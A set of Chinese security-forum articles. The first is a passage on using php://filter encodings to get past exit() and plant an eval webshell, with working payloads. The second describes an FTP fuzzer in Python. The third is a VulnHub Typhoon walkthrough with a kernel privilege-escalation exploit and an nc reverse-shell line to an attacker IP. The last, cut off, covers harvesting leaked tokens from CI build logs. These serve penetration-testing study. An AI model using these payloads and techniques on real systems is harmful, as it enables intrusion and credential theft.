通过UCS-2方式，对目标字符串进行2位一反转（这里的2LE和2BE可以看作是小端和大端的列子），也就是说构造的恶意代码需要是UCS-2中2的倍数，不然不能进行正常反转（多余不满足的字符串会被截断），那我们就可以利用这种过滤器进行编码转换绕过了
* 构造payload
a=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?/resource=Qftm.php
合并的payload：
<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?/resource=Qftm.php
核心部分：
<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?
>>> len("<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?")
84 -> 2*42
>>>
* 载荷效果
从请求和服务器查看结果可以看到构造的payload执行传入恶意代码后门webshell成功。
**UCS-4**
UCS-4编码转换
php > echo iconv("UCS-4LE","UCS-4BE",'<?php @eval($_POST[Qftm]);?>');
hp?<e@ p(lavOP_$Q[TS]mtf>?;)
>>> len("<?php @eval($_POST[Qftm]);?>")
28 -> 4*7
>>>
通过UCS-4方式，对目标字符串进行4位一反转（这里的4LE和4BE可以看作是小端和大端的列子），也就是说构造的恶意代码需要是UCS-4中4的倍数，不然不能进行正常反转（多余不满足的字符串会被截断），那我们就可以利用这种过滤器进行编码转换绕过了
* 构造payload
a=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)/resource=Qftm.php
合并的payload：
<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)/resource=Qftm.php
核心部分：
<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)
>>> len("<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|")
56 -> 4*14
>>>
* 载荷效果
从请求和服务器查看结果可以看到构造的payload执行传入恶意代码后门webshell成功。
**utf8-utf7**
* 测试代码
<?php
$a='php://filter/convert.iconv.utf-8.utf-7/resource=Qftm.txt';
file_put_contents($a,'=');
/**
Qftm.txt 写入的内容为: +AD0- **/
从结果可以看到，convert.iconv 这个过滤器把 `=` 转化成了 `+AD0-`，要知道 `+AD0-` 是可以被
`convert.base64-decode`过滤器解码的。
* 构造payload
a=php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=Qftm.php
//这里需要注意的是要符合base64解码按照4字节进行的
utf-8 -> utf-7
+ADw?php exit()+ADs-php://filter/write+AD0-PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+-+AHw-convert.iconv.utf-8.utf-7/resource+AD0-Qftm.php
base64解码特点剔除不符合字符（只要恶意代码前面部分正常就可以，长度为4的倍数）
+ADwphpexit+ADsphp//filter/write+AD0
>>> len("+ADwphpexit+ADsphp//filter/write+AD0")
36 -> 4*9
>>>
正常base64解码部分
+ADwphpexit+ADsphp//filter/write+AD0PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+
* 载荷效果
可以看到这种转换过滤器编码转换效果是可以的，成功绕过了base64与`exit;`的限制。
## 总结
通过参考许多公开的部分技术文章进行探索、实践与总结，可以看到，其中提到了关于php://filter常用的过滤器利用与多种过滤器组合利用的手法及其非过滤器兼容性技巧来进行漏洞挖掘或者Bypass，可能关于php://filter还有其他很多的过滤器可以利用绕过，不过思路和各个文章中提到的都是一样的，都是通过某个过滤器或多个过滤器特定功能利用来绕过相应限制达到一定的目的。
## References
* [谈一谈php://filter的妙用](https://www.leavesongs.com/PENETRATION/php-filter-magic.html)
* [一次“SSRF—>RCE”的艰难利用](https://mp.weixin.qq.com/s/kfYF157ux_VAOymU5l5RFA)
* [Thinkphp5.0反序列化链在Windows下写文件的方法](https://xz.aliyun.com/t/7457)
* [关于 ThinkPHP5.0 反序列化链的扩展](https://xz.aliyun.com/t/7310)
* [关于file_put_contents的一些小测试](//cyc1e183.github.io/2020/04/03/%E5%85%B3%E4%BA%8Efile_put_contents%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%B5%8B%E8%AF%95/))
* [可用过滤器列表](https://www.php.net/manual/zh/filters.php) | 社区文章 |
# DIY个人ftp fuzzer
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：dog_wangwang
稿费：300RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 介绍**
****
本文旨在通过python以及C#构造用户能够自定义，添加或者修改挖掘规则的ftp fuzzer。
现在很多的ftp fuzzer已经由开发者自定义了内部挖掘规则。如果需要加入新的挖掘规则，用户除了自己写一个挖掘器，是否还有其它方法呢？
实现方式：由ftp fuzzer提供接口，用户按照自己的想法写出相应的挖掘规则。
环境:WIn8 vs2013 + python + ironPython
**0x01 详概**
****
ftp相关知识这里不介绍，大家可以去看看官方文档。程序整体的界面用c#开发，其中ironPython是为了实现在c#环境下运行python脚本。用python的原因主要基于：1.用户可以专注于挖掘规则的编写，不需要关注界面，以及数据处理问题。2.python简单，快捷，学习进度快。
在C#中调用python文件需要用到ironPython技术。相关资料读者可自行查阅，这里就不过多介绍了。
相关的调用方式：
//c#中调用python脚本
using IronPython.Hosting;
.......
ScriptRuntime pyRuntime = Python.CreateRuntime();
dynamic obj = pyRuntime.UseFile("fuzz.py"); //创建python脚本对象 使用方法：obj.function()
fuzz.py文件包含各种测试命令，脏数据，以及规则。这些都可以由用户修改，添加。
C#调用fuuz.py文件中的函数向ftp服务器发送各种脏数据。
测试之前我们肯定也要看ftp服务是否打开，这里我们用一个简单的函数完成。
def login(ip, port, username, password):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
connect = s.connect((ip, port))
s.recv(1024)
s.send("user " + username + "rn")
s.recv(1024)
s.send("PASS " + password + "rn")
s.recv(1024)
s.close()
return True;
except:
s.close()
return False;
介绍程序之前我们首先看一下当前常用ftp fuzzer是如何对程序进行测试的。
buffer = 50*'A'
s.send(fuzzcmd[attr] + " " + buffer * 5 + 'rn')
s.send(fuzzcmd[attr] + " " + buffer * 20 + 'rn')
s.send(fuzzcmd[attr] + " " + buffer * 40 + 'rn')
s.send(fuzzcmd[attr] + " " + buffer * 100 + 'rn')
s.send(fuzzcmd[attr] + " " + buffer * 200 + 'rn')
来源：《0day安全软件漏洞分析技术》
fuzzcmd是一个包含ftp命令的数组，如“cd” "dir"等等。
我们定义一个overFuzz()函数，来完成这个功能。
def overFuzz(ip, port, username, password, attr)
按照这种方式，ftp服务器接收到的数据如果造成溢出，程序将直接崩溃掉，程序崩溃掉之后，数据自然是发送不到ftp服务器的，我们可以按照这个依据来判断程序是否含有漏洞。
attr = "标志位" + "脏数据"
c#判断attr其中的标志位是否为“true”，如果为“true”,则后面的脏数据则为造成程序崩溃的数据，可以供用户后面分析调试。
可利用的漏洞我们用这种方法测试，而不能利用，只能造成程序异常退出的漏洞我们将采用另外一种规则。在fuzz.py中，我们定义了dDosString[],
dDosChar[]两个数组，用户有自己的想法，也完全可以修改这两个变量。测试方式和前面的overfuzz一样。
现在我们用某个ftp服务程序测试一下。这是其中关于ddos的测试效果。
当然这个漏洞不能利用，只能造成程序异常退出。
现在我们再看一下挖掘规则的问题。在fuzz.py文件中，现在我们定义了几个重要的变量。
fuzzcmd[] //包含ftp命令
buffer = 50*'a'
dDosString[] //例如'%%%n'
dDosChar[] //例如'%'， ''等
这几个变量的值由用户决定。在文章开头，我们说过新的挖掘规则怎么添加？我们完全可以仿照overFuzz这个函数重新写一个，恩，我们试一下。观察一下我们发送数据的格式。
s.send(fuzzcmd[attr] + " " + buffer * 5 + 'rn')
发送的数据都是像这样的：
cd aaaaaaaaaaaaaaaaaaaaaaaaa 'rn'
这也是大多数此类fuzz程序通用的格式，现在有一种新的方式，且程序中招率还不低，我测试了市面上大多ftp服务端程序，其中部分程序在处理以下数据的时候，将直接退出。
s.send(fuzzcmd[attr] + " " + buffer * 5) //命令后面加字符串 不添加'rn'
s.send(fuzzcmd[attr])//命令后面不加字符串 不添加'rn'
虽然只是后面有没有'rn'的问题，但是很多ftp服务端程序依然没有处理此种数据的能力。
(其实你也可以尝试把'rn'删除，添加或者在两个'rn'中添加其它数据，有惊喜！)
如：
'cd' + 'a'*500 + 'rn' + 'a'*500 + 'rn' //'rn'可以修改成其它类似的数据
**0x02 总结**
****
文章只是介绍了ftp
fuzzer的小部分知识，还有很多东西文中都没有提到，包括ftp的基础知识，溢出的相关知识。这些读者都可以自己去查找相关资料，当然，这也不是本文关注的重点。希望大家能够发挥各自脑洞，不要让现有的资料或者规则局限思维方式。在ftp漏洞挖掘中，就我所知道的，挖掘ftp漏洞至少还有一种规则。文章中介绍的fuzzer其貌不全，但是在添加了大多数规则的时候，测试效果还是较好的。大多ftp服务端程序或多或少都有问题。希望大家能在这个简单模型的基础上，打造一个功能强大的ftp
fuzzer。 | 社区文章 |
靶机下载地址：
* **Download** : <https://drive.google.com/file/d/1rwxlRMOJJ8GGj2VshAOvgqgUM_Z-OV9z/view>
* **Download (Torrent)** : <https://download.vulnhub.com/typhoon/Typhoon-v1.02.ova.torrent> ( Magnet)
靶机渗透难度相对简单，利用方式很多。有兴趣的同学可以自己下载试一试
# 主机发现
root@Shockwave:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.2.1 cc:81:da:9c:d3:49 (Unknown)
192.168.2.25 a4:38:cc:dc:7e:f2 (Unknown)
192.168.2.121 f0:18:98:04:80:24 (Unknown)
192.168.2.149 00:0c:29:d6:53:2b VMware, Inc.
192.168.2.149 f0:18:98:04:80:24 (Unknown) (DUP: 2)
192.168.2.171 00:ec:0a:7d:a5:3a (Unknown)
6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.427 seconds (105.48 hosts/sec). 6 responded
在`192.168.2.149`发现主机
# 端口探测
root@Shockwave:~# nmap -A 192.168.2.149
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-08 13:42 EST
Nmap scan report for 192.168.111.168
Host is up (0.00073s latency).
Not shown: 983 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.111.188
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 02:df:b3:1b:01:dc:5e:fd:f9:96:d7:5b:b7:d6:7b:f9 (DSA)
| 2048 de:af:76:27:90:2a:8f:cf:0b:2f:22:f8:42:36:07:dd (RSA)
| 256 70:ae:36:6c:42:7d:ed:1b:c0:40:fc:2d:00:8d:87:11 (ECDSA)
|_ 256 bb:ce:f2:98:64:f7:8f:ae:f0:dd:3c:23:3b:a6:0f:61 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: typhoon, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=typhoon
| Not valid before: 2018-10-22T19:38:20
|_Not valid after: 2028-10-19T19:38:20
|_ssl-date: TLS randomness does not represent time
53/tcp open domain ISC BIND 9.9.5-3 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/mongoadmin/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Typhoon Vulnerable VM by PRISMA CSI
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: RESP-CODES UIDL SASL PIPELINING CAPA STLS AUTH-RESP-CODE TOP
| ssl-cert: Subject: commonName=typhoon/organizationName=Dovecot mail server
| Not valid before: 2018-10-22T19:38:49
|_Not valid after: 2028-10-21T19:38:49
|_ssl-date: TLS randomness does not represent time
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 40597/tcp mountd
| 100005 1,2,3 60536/udp mountd
| 100021 1,3,4 38498/udp nlockmgr
| 100021 1,3,4 57277/tcp nlockmgr
| 100024 1 33465/tcp status
| 100024 1 42988/udp status
| 100227 2,3 2049/tcp nfs_acl
|_ 100227 2,3 2049/udp nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd (Ubuntu)
|_imap-capabilities: STARTTLS more LOGIN-REFERRALS Pre-login ID LOGINDISABLEDA0001 listed ENABLE post-login OK SASL-IR capabilities have IDLE IMAP4rev1 LITERAL+
| ssl-cert: Subject: commonName=typhoon/organizationName=Dovecot mail server
| Not valid before: 2018-10-22T19:38:49
|_Not valid after: 2028-10-21T19:38:49
|_ssl-date: TLS randomness does not represent time
445/tcp open netbios-ssn Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
631/tcp open ipp CUPS 1.7
| http-methods:
|_ Potentially risky methods: PUT
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: CUPS/1.7 IPP/2.1
|_http-title: Home - CUPS 1.7.2
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: more LITERAL+ Pre-login ID LOGIN-REFERRALS listed ENABLE post-login OK SASL-IR capabilities have AUTH=PLAINA0001 IDLE IMAP4rev1
| ssl-cert: Subject: commonName=typhoon/organizationName=Dovecot mail server
| Not valid before: 2018-10-22T19:38:49
|_Not valid after: 2028-10-21T19:38:49
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: RESP-CODES UIDL SASL(PLAIN) PIPELINING CAPA AUTH-RESP-CODE USER TOP
| ssl-cert: Subject: commonName=typhoon/organizationName=Dovecot mail server
| Not valid before: 2018-10-22T19:38:49
|_Not valid after: 2028-10-21T19:38:49
|_ssl-date: TLS randomness does not represent time
2049/tcp open nfs_acl 2-3 (RPC #100227)
3306/tcp open mysql MySQL (unauthorized)
5432/tcp open postgresql PostgreSQL DB 9.3.3 - 9.3.5
| ssl-cert: Subject: commonName=typhoon
| Not valid before: 2018-10-22T19:38:20
|_Not valid after: 2028-10-19T19:38:20
|_ssl-date: TLS randomness does not represent time
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat
MAC Address: 00:0C:29:D6:53:2B (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts: typhoon, TYPHOON; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h14m12s, deviation: 1h09m16s, median: -34m13s
|_nbstat: NetBIOS name: TYPHOON, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Unix (Samba 4.1.6-Ubuntu)
| Computer name: typhoon
| NetBIOS computer name: TYPHOON\x00
| Domain name: local
| FQDN: typhoon.local
|_ System time: 2018-12-08T20:08:20+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2018-12-08 13:08:21
|_ start_date: N/A
TRACEROUTE
HOP RTT ADDRESS
1 0.73 ms 192.168.111.168
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.63 seconds
发现开放了很多端口的，各种常用的服务ftp/ssh/http/mysql等等都开了，80端口还顺带扫出来个/robots.txt。
# 目录扫描
root@Shockwave:~# dirb http://192.168.2.149
----------------- DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Dec 17 10:32:48 2018
URL_BASE: http://192.168.2.149/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.2.149/ ---- ==> DIRECTORY: http://192.168.2.149/assets/
==> DIRECTORY: http://192.168.2.149/calendar/
+ http://192.168.2.149/cgi-bin/ (CODE:403|SIZE:288)
==> DIRECTORY: http://192.168.2.149/cms/
==> DIRECTORY: http://192.168.2.149/drupal/
+ http://192.168.2.149/index.html (CODE:200|SIZE:3529)
==> DIRECTORY: http://192.168.2.149/javascript/
==> DIRECTORY: http://192.168.2.149/phpmyadmin/
+ http://192.168.2.149/robots.txt (CODE:200|SIZE:37)
# 入侵靶机
## PHPMOADMIN
访问`/robots.txt`，是一个mogondb的WebUI管理，
User-agent: *
Disallow: /mongoadmin/
访问`http://192.168.2.149/mongoadmin/`。
查看版本号。`http://192.168.2.149/mongoadmin/index.php?action=getStats`
version
mongo: 3.0.15 (64-bit)
mongoPhpDriver: 1.6.16
phpMoAdmin: 1.0.9
php: 5.5.9-1ubuntu4.26 (64-bit)
gitVersion: b8ff507269c382bc100fc52f75f48d54cd42ec3b
是`1.0.9`。Google搜一搜，没想到一搜就是两个RCE的payload（捂脸.jpg）。
顺利getshell。
## SSH
回过来看一下数据库里的数据。在`credentials`表发现了一列账号密码。
尝试SSH登录。
root@Shockwave:~# ssh [email protected]
The authenticity of host '192.168.2.149 (192.168.2.149)' can't be established.
ECDSA key fingerprint is SHA256:fLv3o4p7wR+3hFFRGmT0UpswxJ2eN6BWXE/aM64mHlo.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.2.149' (ECDSA) to the list of known hosts.
d888888b db db d8888b. db db .d88b. .d88b. d8b db
`~~88~~' `8b d8' 88 `8D 88 88 .8P Y8. .8P Y8. 888o 88
88 `8bd8' 88oodD' 88ooo88 88 88 88 88 88V8o 88
88 88 88~~~ 88~~~88 88 88 88 88 88 V8o88
88 88 88 88 88 `8b d8' `8b d8' 88 V888
YP YP 88 YP YP `Y88P' `Y88P' VP V8P
Vulnerable VM By PRISMA CSI - www.prismacsi.com
WARNING: Unauthorized access to this system is forbidden and will be
prosecuted by law. By accessing this system, you agree that your actions
may be monitored if unauthorized usage is suspected.
This is a joke of course :))
Please hack me!
----------------------------------------------------------------------- [email protected]'s password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)
* Documentation: https://help.ubuntu.com/
System information as of Tue Dec 18 00:08:11 EET 2018
System load: 0.08 Memory usage: 3% Processes: 385
Usage of /: 41.8% of 17.34GB Swap usage: 0% Users logged in: 0
Graph this data and manage this system at:
https://landscape.canonical.com/
Last login: Mon Dec 10 12:23:58 2018 from 192.168.7.41
typhoon@typhoon:~$ whoami
typhoon
typhoon@typhoon:~$ sudo -i
[sudo] password for typhoon:
typhoon is not in the sudoers file. This incident will be reported.
登陆成功，但是typhoon用户并没有超级用户权限。
## Tomcat Manager
访问8080端口，登录manager webapp。尝试默认用户名和密码`tomcat`登录。
登录成功，上msf。
## Drupal CMS & Lotus CMS
`http://192.168.2.149/drupal/`
`http://192.168.2.149/cms/`
这两个CMS都是有问题的版本，就直接用msf的payload打了。
## 其他
另外还可以通过`/dvwa/`、`/xvwa/`的命令注入练习getshell，系统都是默认账号和密码。
dvwa的是admin/password，xvwa的是admin/admin。
也可以登录`/phpmyadmin/`后台，通过包含日志的方式getshell，登录密码为默认的`toor`（也可以通过泄露的`/dvwa/config/config.inc.php.bak`备份文件查看密码）。
具体方式不再展开说了，有兴趣的同学可以自己尝试一下。
# 提权过程
## 利用内核
查看系统版本、内核信息：
typhoon@typhoon:~$ uname -a
Linux typhoon.local 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
typhoon@typhoon:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.1 LTS
Release: 14.04
Codename: trusty
系统是Ubuntu14.04，内核版本为3.13.0，`searchsploit`搜一下相关漏洞。
对应的系统、内核刚好有一个利用overlayfs的exploit，下下来放到靶机上。
# 复制exploit到当前目录
root@Shockwave:~/exploits# searchsploit -m 37292.c
Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/37292/
Path: /usr/share/exploitdb/exploits/linux/local/37292.c
File Type: C source, ASCII text, with very long lines, with CRLF line terminators
Copied to: /root/exploits/37292.c
# 搭建文件服务器到，映射到80端口
root@Shockwave:~/exploits# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
# 靶机下载文件
typhoon@typhoon:~$ wget 192.168.92.104/37292.c
--2018-12-18 11:29:56-- http://192.168.92.104/37292.c
Connecting to 192.168.92.104:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/plain]
Saving to: ‘37292.c’
100%[==============================================================================================================>] 5,119 --.-K/s in 0s
2018-12-18 11:29:56 (362 MB/s) - ‘37292.c’ saved [5119/5119]
编译、赋权、运行一条龙。
typhoon@typhoon:~$ gcc 37292.c -o exploit
typhoon@typhoon:~$ chmod a+x exploit
typhoon@typhoon:~$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),110(lpadmin),112(sambashare),125(libvirtd),1000(typhoon)
# whoami
root
# cat /root/root-flag
<Congrats!>
Typhoon_r00t3r!
</Congrats!>
#
可以看到顺利提权成功。通过内核提取最方便、快捷，但是局限性也很大。
## 利用可写文件
翻查目录文件，在/tab/目录下发现一个文件所有者为root、权限为777的sh文件。
typhoon@typhoon:/tab$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Dec 17 16:48 .
drwxr-xr-x 25 root root 4096 Oct 24 04:59 ..
-rwxrwxrwx 1 root root 71 Dec 17 16:48 script.sh
typhoon@typhoon:/tab$ cat script.sh
echo "Typhoon is UP!"
#<typh00n!> P0st_3xpl01t3R_flaqGq <typhoon!>
用低权限用户将构造的命令写入script.sh，令文件调用以root身份运行的`/bin/sh`，然后反弹shell，就可以获得root权限了。
写入反弹shell命令到`script.sh`中并执行。
typhoon@typhoon:/tab$ echo "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.92.104 8888 >/tmp/f" > script.sh
typhoon@typhoon:/tab$ ./script.sh
在服务器上开启监听，接收到shell。
root@Shockwave:~/exploits# nc -lvvp 8888
listening on [any] 8888 ...
192.168.92.121: inverse host lookup failed: Unknown host
connect to [192.168.92.104] from (UNKNOWN) [192.168.92.121] 58239
/bin/sh: 0: can't access tty; job control turned off
# #
# ls
root-flag
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# ls
root-flag
# cat root-flag
<Congrats!>
Typhoon_r00t3r!
</Congrats!>
至此提权成功，利用完成。 | 社区文章 |
## 持续集成服务(CI)漏洞挖掘
原文链接：<https://edoverflow.com/2019/ci-knew-there-would-be-bugs-here/>
在挖漏洞的时候，熟悉供应商和公司所依赖的技术至关重要。引起我们注意的一个特别有趣的环境是各种开源项目使用的流行集成，
主要是作为其开发生命周期的一部分。包括[Travis CI](https://travis-ci.org/)，[Circle
CI](https://circleci.com/)和[GitLab
CI](https://about.gitlab.com/product/continuous-integration/)在内的持续集成服务（“CI服务”）的一些主要示例对于我们
来说是非常有益的，因为它们是bug赏金猎人的目标。
我们开始自动从这些CI服务中获取和搜索大型数据集。这篇技术文章将涉及我们面临的众多挑战，我们如何减少搜索中的误报数量，显着的发现，
最后列出我们在此过程中采取的一些技巧。
关于这一研究工作的团队包括贾斯汀·加德纳（[@Rhynorater](https://twitter.com/Rhynorater)），Corben狮子座（[@hacker_](https://twitter.com/hacker_)）和EdOverflow（[@EdOverflow](https://twitter.com/EdOverflow)）
-由卡里姆·拉哈尔（一些测试和有益的建议[@KarimPwnz](https://twitter.com/KarimPwnz)），[@streaak](https://twitter.com/streaak)，[@
d0nutptr](https://twitter.com/d0nutptr)和BBAC。
### 持续集成服务简介
持续集成（CI）是提交代码更改并自动构建和测试每个更改的实践。如今，很少有人偶然发现在开发周期的某个阶段没有使用持续集成服务的开源项目。各种服务提供简单的设置配置步骤和漂亮的界面，可以持续快速测试和构建代码。
该[security.txt项目](https://github.com/securitytxt/security-txt)，例如，使用特拉维斯CI只要提交代码推到建立新的文件草案。
这允许团队快速确定对规范的任何进一步更改是否可能在编译时破坏Internet草稿kramdown-rfc2629-
一种工具使得人们可以在Markdown中编写所有内容，然后将其转换为XML2RFC XML标记。
### 信息收集
读者过去所要求的是有一个指定部分，介绍作者如何提出研究主题，例如我们在这里展示的工作类型。本节将有希望说明这个想法最初的起源。
本文的所有作者都有很多在GitHub上开源项目的经验，并且多年来学习了简化开源项目维护者开发过程的技术。
GitHub在<https://github.com/marketplace上提供了大量集成，其中一个特定类别脱颖而出：[“持续集成”](https://github.com/marketplace/category/continuous-integration)。>
这就是我们发现由于许多开源团队在开发过程中争取完全透明和开放的方式，项目对于在持续集成平台上隐藏构建日志数据犹豫不决。不可否认
像Travis CI这样的集成确实提供私人资料作为travis-ci.com的高级功能，但在我们的研究中，绝大多数项目似乎只使用公共实例
[travis-ci.org](travis-ci.org) \- 请注意“.org “顶级域名。
值得注意的是，持续集成服务过去已成为赏金猎人和第三方敏感信息的目标，如“[在Travis
CI构建日志中暴露的HackerOne员工的GitHub个人访问令牌](https://hackerone.com/reports/215625)”和[“API下的”攻击“](https://www.traviscistatus.com/incidents/3f8mwqxbh127)
Travis CI事件报告：
> “我们目前正在对我们的公共API进行分布式攻击，我们认为这些攻击旨在揭示GitHub身份验证令牌。应对策略正在讨论中，我们将进行相应的更新。“
>
> * Travis CI（2015年9月）
>
因此Travis CI等平台引入了内置机密检测，以防止敏感信息的意外泄露，如下所示。[[1]](https://docs.travis-ci.com/user/best-practices-security/)
Travis CI `[secure]`在运行时使用关键字替换潜在的敏感信息。
> 为了防止这些组件发生泄漏，我们会自动过滤运行时超过三个字符的安全环境变量和标记，从而有效地将它们从构建日志中删除，[secure]而不是显示字符串。
### 自动化检测
手动接近大型攻击面（例如Travis
CI提出的）将是一项非常繁琐的任务。因此，我们必须使用这些CI供应商提供的可用API文档，并开发工具来自动快速获取构建日志。
为了更好地说明从bug赏金计划到广泛的数据集以进行进一步调查的过程，我们将使用[Travis CI的API文档](https://docs.travis-ci.com/user/developer/)作为示例。
首先是获取bug赏金计划的GitHub组织，有多种方法可以做到这一点，但为了获得最佳效果，谷歌搜索“公司名称”和“GitHub”就可以完成这项工作。
接下来，我们必须检查GitHub是否在Travis
CI上。为了使这个过程更顺畅，我们使用了一个浏览器书签，它使用GitHub将我们从GitHub重定向到Travis CI。
javascript:window.location="https://travis-ci.org"+window.location.pathname;
**书签将从GitHub页面重定向到Travis CI**
如果目标存在于GitHub上，我们就会访问Travis CI上的项目API端点并检索所有项目的列表。
https://api.travis-ci.org/owner/%s/repos?limit=100&offset=%d
Travis CI的API区分大小写; 由于，bookmarklet需要确保你在发出API请求时使用正确的语句要收集构建日志的内容，我们需要点击构建ID
API端点然后`/log.txt`。
1. https://api.travis-ci.org/repo/%s/builds?limit=100&offset=%d
1. https://api.travis-ci.org/job/%d/log.txt
现在属于目标的所有构建日志的内容都存储在本地，我们可以开始`grepping`。由于我们正在分析的数据大小，我们`ripgrep`在本地筛选日志时采取了措施。
$ rg -ia "$1" -j 12 --no-filename --no-line-number --pretty
除了bug赏金计划的GitHub帐户，作者还收集了属于GitHub组织所有成员的构建日志。事实证明，有些成员在他们的帐户上运行构建而没有意识到他们的秘密在构建日志中暴露。
>
> 1. #!/bin/bash
> 1.
> 1. users=$(curl -s -H "application/vnd.github.hellcat-preview+json" -H
> "Authorization: token $GH_TOKEN" https://api.github.com/orgs/"$1"/members |
> jq -r .[].login);
> 1.
> 1. while read -r hehe; do
> 1. secretz -t "$hehe";
> 1. done <<< "$users"
该项目背后的团队决定不发布任何为获取构建日志而构建的工具，因为我们不希望直接对CI平台性能的任何中断负责。这种写作将不可避免地
引起一些CI平台存在的大型攻击面的关注; 因此，作者想提醒读者，在使用平台的API时，请注意不要立即接收每个端点的大量请求。
我们非常谨慎，不会在整个过程中取消任何服务。
### 漏洞发现
总的来说，最有影响力的发现主要是GitHub访问令牌泄漏。在本节中，我们将介绍我们团队提交的四份值得注意的报告。
在公共程序中点击员工帐户的Travis CI构建日志时，我们发现了一个GitHub访问令牌，具有对GitHub组织的读写权限。
此令牌将允许我们将代码推送到GitHub组织下列出的任何存储库。根据他们的HackerOne “Program
Statistics”，该计划授予我们迄今为止最高的奖金。
为扩大我们漏洞的影响范围，我们考虑了多个平台。在2013年的私人Bugcrowd计划的Travis CI构建日志中，我们发现了一个GitHub访问令牌，
